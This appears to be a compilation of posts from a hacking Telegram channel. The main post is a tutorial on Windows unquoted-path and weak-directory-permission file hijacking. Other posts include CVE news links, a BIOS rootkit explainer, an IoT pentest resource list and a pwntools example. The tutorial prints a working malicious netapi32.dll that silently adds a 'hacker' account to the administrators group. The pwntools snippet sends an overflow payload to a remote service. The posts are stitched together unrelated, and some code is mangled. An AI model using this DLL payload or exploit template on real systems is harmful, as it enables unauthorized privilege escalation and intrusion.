▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Advanced Hacking: file hijacking caused by directory permissions:

In Windows systems, improper permissions on certain directories or files allow attackers to implant malicious files or execute files in these directories. Since these directories lack effective access control and security review, attackers can exploit vulnerabilities to modify, replace or inject files, or even hijack legitimate processes or services in the system.

In Windows systems, there are some typical weak-permission directories, such as C:\Windows\Temp, C:\ProgramDataetc. These directories are usually used to store temporary files. However, many applications and users do not set sufficient permission control for these directories when using them. Attackers can implement file hijacking attacks by placing malicious executable files in these directories, thereby executing code or elevating system permissions.

Several file hijacking cases to understand the security issues caused by weak permission directories. Before going into specific cases, let's start with the CreateProcess API.

1️⃣. Unsafe use of CreateProcess
CreateProcessThe API is the basic function used to create a new process in Windows. Its working mechanism is crucial to program startup and path resolution. This API has multiple parameters, among which lpApplicationNameand lpCommandLineare key parameters, which together affect the behavior of process creation, especially how to parse and execute the passed executable file path.

CreateProcessBasic usage

CreateProcessThe prototype is as follows:

BOOL CreateProcess(
  LPCWSTR lpApplicationName, 
  LPWSTR lpCommandLine,        
  LPSECURITY_ATTRIBUTES lpProcessAttributes,  
  LPSECURITY_ATTRIBUTES lpThreadAttributes,   
  BOOL bInheritHandles,         
  DWORD dwCreationFlags,       
  LPVOID lpEnvironment,        
  LPCWSTR lpCurrentDirectory,  
  LPSTARTUPINFO lpStartupInfo,  
  LPPROCESS_INFORMATION lpProcessInformation  
);

2️⃣ lpApplicationName: Specifies the path to the application (optional). If NULL, the system will lpCommandLineparse the application path from the first space-delimited item of .
lpCommandLine: Command line arguments passed to the new process. If lpApplicationName, NULLthis argument must include the full path to the application or command name.
lpApplicationNameNULLPath resolution for

When lpApplicationNameis NULL, the system must lpCommandLineparse the executable file path from . This process involves path parsing and processing, which may involve the problem of file names containing spaces.

Path resolution order on the command line:

Let's look at an example from Microsoft's official documentation. Suppose that lpCommandLineit contains something like the following:

c:\program files\sub dir\program name

3️⃣CreateProcess executes the path without quotes, and lpApplicationNamethe NULLsystem will parse the path in the following order:

c:\program.exe: The system first attempts to parse the path by truncating it from the beginning of the string c:\program.exe.
c:\program files\sub.exe: If the first resolution fails, the system attempts to resolve the path to c:\program files\sub.exe.
c:\program files\sub dir\program.exe: Next, the system tries to resolve the entire path, thinks program.exeit is an executable file name, and tries to execute it.
c:\program files\sub dir\program name.exe: Finally, the system attempts to resolve program nameas an executable file name and appends .exethe extension to it.

4️⃣Write a POC program test:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
char *szCmdline = _strdup("c:\\program files\\sub dir\\program name");

// STARTUPINFO PROCESS_INFORMATION
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);

// CreateProcessA（ANSI）
if (CreateProcessA(
NULL,
szCmdline,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
)) {
printf("Process created successfully!\n");
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("Failed to create process. Error code: %lu\n", GetLastError());
}

free(szCmdline);

return 0;
}

5️⃣This test program attempts to start "c:\program files\sub dir\program name" via CreateProcessA, compile and run the program, and monitor it using Process Monitor.

, you can see that Process Monitor monitors the expected behavior of the program. If program.exe exists in the root directory of drive C, then c:\program.exe will be executed.

The safe usage of CreateProcess API should be:

LPTSTR szCmdline[] = _tcsdup(TEXT("\"C:\\Program Files\\MyApp\" -L -S"));
    CreateProcess(NULL, szCmdline, /*...*/);

If lpApplicationName is set to NULL , the executable file path in lpCommandLine needs to be quoted. Another API function with similar behavior is CreateProcessAsUser.

6️⃣ Directory permissions and file hijacking
Through the CreateProcess test program above, we can see that some irregular coding habits may cause the program to behave unexpectedly, which poses a potential security risk. In this case, if the relevant directory is set to weak permissions, such as c:\program files\sub dir\, the directory permissions are improperly set, resulting in an attacker with normal permissions being able to write malicious files in the directory and use file hijacking to achieve the purpose of privilege escalation. Next, let's use several real CVE cases to explore the possible harm caused by file hijacking caused by weak permission directories.

7️⃣Case Analysis
EXE hijacking caused by weak permission directory:

> during the uninstallation of the Citrix program, the CreateProcess API is called to execute the file TrolleyExpress.exe (C:\ProgramData\Citrix\Citrix Workspace 1911\TrolleyExpress.exe). Due to the unquoted path, the program attempts to load C:\ProgramData\Citrix\Citrix.exe. The path C:\ProgramData\Citrix\ has weak permissions. An attacker can write a malicious Citrix.exe to the path and wait for the administrator to uninstall the Citrix Workspace application. The malicious Citrix.exe will be executed to elevate permissions.

8️⃣Local privilege escalation due to weak system directory permissions:

CVE-2022-24767: The uninstaller for Git for Windows is vulnerable to DLL hijacking when running under the SYSTEM user account

The system user uninstalls the Git for Windows program. By monitoring the program behavior, you will find that the Git uninstaller will try to C:\Windows\Tempload the dll from the directory.

9️⃣ Since ordinary users also have C:\Windows\Tempwrite permissions to the directory, low-privilege attackers can write malicious dlls to C:\Windows\Tempthe directory. When the system user uninstalls the Git program, the malicious dll will run, and the attacker can achieve the purpose of privilege escalation.

1️⃣0️⃣we try to execute malicious code by hijacking netapi32.dll.

Malicious netapi32.dll test code:

#include<stdio.h>
#include<windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("cmd.exe \"/k net user hacker password /add && net localgroup administrators hacker /add && net localgroup administrators\"");
        ExitProcess(0);
    }
    return TRUE;
}

After the compilation is complete, put netapi32.dll in the C:\Windows\Temp directory. When the system user uninstalls the Git for Windows program, you will find that the malicious dll is executed and a user hacker is successfully added to the administrator group.

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🔴 pnpm, Override Mishap, #CVE-TBD (Critical)

https://dailycve.com/pnpm-override-mishap-cve-tbd-critical/

@DailyCVE

⚡️ Mozilla Welcomes New Leadership to Drive Innovation and Growth

https://undercodenews.com/mozilla-welcomes-new-leadership-to-drive-innovation-and-growth/

@Undercode_News

🔵 Ruby on #Rails, Cross-Site Scripting (XSS), #CVE-2024-XXXX (Low)

https://dailycve.com/ruby-on-rails-cross-site-scripting-xss-cve-2024-xxxx-low/

@Daily_CVE

🤖 GM Shifts Gears: Focuses In-House Autonomy Over Cruise Robotaxis

https://undercodenews.com/gm-shifts-gears-focuses-in-house-autonomy-over-cruise-robotaxis/

@Undercode_News

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 BIOS-level rootkit attack, also known as a persistent BIOS attack, is an exploit in which the BIOS is flashed (updated) with malicious code. A BIOS rootkit is programming that enables remote administration.

The BIOS (basic input/output system) is firmware that resides in memory and runs while a computer boots up. Because the BIOS is stored in memory rather than on the hard disk drive, a BIOS rootkit can survive conventional attempts to get rid of malware, including reformatting or replacing the hard drive.

Originally, the BIOS firmware was hard-coded and read-only. Now, however, manufacturers generally use an erasable format, such as flash memory so that the BIOS can be easily updated remotely. The use of an erasable format that can be updated over the Internet makes updates easier but also leaves the BIOS vulnerable to online attack.

A BIOS attack does not require any vulnerability on the target system -- once an attacker gains administrative-level privileges, he can flash the BIOS over the Internet with malware-laden firmware. On ars technica, Joel Hruska describes one BIOS rootkit attack:

The aforementioned attack consists of dumping the new BIOS into flashrom (a BIOS read/write/modify utility), making the necessary changes, adjusting all of the checksums to ensure the hacked BIOS will verify as authentic… and flashing. Voila! One evil BIOS.
Some researchers fear that a BIOS rootkit poses a special threat for cloud computing environments, in which multiple virtual machines (VM) exist on a single physical system.

Methods of preventing BIOS rootkit attacks include:

Implementing digital signature technology to prevent unauthorized access
Making the BIOS non-writeable
Burning a hardware cryptographic key into the BIOS at manufacture that can be used to verify that the code has not been altered.
If an unauthorized BIOS-level rootkit is detected, the only way to get rid of it is to physically remove and replace the memory where the BIOS resides.

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

⚡️ #WhatsApp Beta Gets a New Feature: Forward to Meta #AI

https://undercodenews.com/whatsapp-beta-gets-a-new-feature-forward-to-meta-ai/

@Undercode_News

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 𝐈𝐎𝐓 𝐀𝐍𝐃 𝐇𝐀𝐑𝐃𝐖𝐀𝐑𝐄 𝐏𝐄𝐍𝐓𝐄𝐒𝐓 - 𝐔𝐏𝐃𝐀𝐓𝐄𝐃

#IoT and embedded devices are often used in critical infrastructure, such as healthcare devices or industrial control systems, which makes the security of these devices even more crucial.
💡𝑸𝒖𝒊𝒄𝒌 𝒓𝒆𝒎𝒊𝒏𝒅𝒆𝒓
Hardware refers to the physical components of a computer system or electronic device, while IoT refers to the network of connected devices that can communicate with each other over the internet.
While there is overlap between these concepts, they refer to different aspects of computer and electronic systems.

👉 𝐇𝐨𝐰 𝐭𝐨 𝐛𝐞𝐠𝐢𝐧?
🌟 A Red Team Guide for a Hardware Penetration Test by Adam Toscher
⭐Part 1: https://lnkd.in/eRUtq6Ne
⭐Part 2: https://lnkd.in/ezjwNuP6

🌟Hardware Hacking Curiosity by 👺 Adrien Lasalle
https://lnkd.in/eeDp-iq6

🌟 IoT Security 101 by V33RU
https://lnkd.in/eZ2QGhdJ

🌟 Awesome Hardware Hacking and IoT by Joas A Santos
https://lnkd.in/eyXnbKBv

🌟 IoT Village youtube channel
https://lnkd.in/eHEuww7w

🌟 UART Hardware Hacking Cheat Sheet by Marcel Rick-Cen
https://lnkd.in/edpyHG2B

🌟IoT Pentesting guide by Aditya Gupta and Attify
https://lnkd.in/ekBmcSNd

🌟 IoT Security Resources for beginner by Nayana Dhanesh
https://lnkd.in/eAmTvWnj

🌟 Firmware analysis on HackTricks
https://lnkd.in/eUvMqtAZ

👉 𝐅𝐞𝐞𝐥𝐢𝐧𝐠 𝐫𝐞𝐚𝐝𝐲 𝐭𝐨 𝐭𝐫𝐚𝐢𝐧?
🌟 Open Security Training
https://p.ost2.fyi/

🌟 Hackaday courses
https://lnkd.in/e3yhaZTB

🌟 Intro to IoT pentest on TryHackMe
https://lnkd.in/ewjUM-Tc

👉 𝐒𝐨𝐦𝐞 𝐢𝐧𝐭𝐞𝐫𝐞𝐬𝐭𝐢𝐧𝐠 𝐫𝐞𝐚𝐝𝐬
🌟 IOT Security Foundation
https://lnkd.in/ecGudjgn

🌟 Awesome IoT Hacks by nebgnahz
https://lnkd.in/eQk4UBrt

🌟 Hands on Internet of things hacking by Payatu
https://lnkd.in/eqEEJriu

👉 𝐓𝐎𝐎𝐋𝐒 𝐀𝐍𝐃 𝐑𝐄𝐒𝐎𝐔𝐑𝐂𝐄𝐒
🌟 Scared by eshard - side-channel analysis framework
https://lnkd.in/eZhb_we3

🌟NewAE Technology Inc.’s Github repo
https://lnkd.in/eiuZDCfb

🌟Ledger Donjon’s repo by Ledger Security research team
https://lnkd.in/eEhA4FMh

🌟IoT-PT an OS for IoT pentest by v33ru
https://lnkd.in/evuB7X_Z

👉 𝐖𝐡𝐚𝐭 𝐚𝐛𝐨𝐮𝐭 𝐭𝐡𝐞 𝐬𝐭𝐚𝐧𝐝𝐚𝐫𝐝𝐬?
🌟 The OWASP® Foundation IoT Project:
https://lnkd.in/ev7TrRf9

🌟 NIST Cybersecurity for IOT Program
https://lnkd.in/eq8k8BwG

🌟 Hardware Security Module NIST
https://lnkd.in/eXcGvAwV

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Support & Share: t.me/undercodecommunity

This is the hub for Ethical Hackers and tech enthusiasts:

》Topics We Cover:

1️⃣ CVE News & Databases

2️⃣ Hacker & Tech News

3️⃣ Cybersecurity, Hacking, and Secret Methods

🌟 Our Mission:
Share your knowledge, collaborate, and grow together in a community designed for innovation and learning.

🔗 Join now: bit.ly/joinundercode

@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Popular Exploit development library:

》Pwntools (https://github.com/Gallopsled/pwntools) is a popular CTF (Capture The Flag) framework and exploit development library written in Python. It provides tools and features that streamline the process of writing, testing, and executing exploits, especially for binary exploitation challenges.

Key Features:

- Automated Exploit Scripts**: Easily interact with remote or local binaries.

- ROP (Return Oriented Programming): Simplifies creating ROP chains.

- Tubes: Abstraction for handling sockets, SSH, or processes.
- Assembler/Disassembler: Integrates tools like Capstone and Keystone.

- Debugging Utilities: Interfaces with GDB for dynamic analysis.

- Custom Shellcodes: Generate shellcode tailored to your needs.

Requirements:
Pwntools is compatible with Python 3 and can be installed via pip:

pip install pwntools
Example Usage:
Here’s a basic example of using Pwntools to exploit a binary:
from pwn import *

# Connect to the remote service
conn = remote('example.com', 1337)

# Send payload
payload = b'A' * 64 + b'\xdeadbeef'
conn.sendline(payload)

# Interact with the shell
conn.interactive()
Check out the repository for detailed documentation and examples.

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁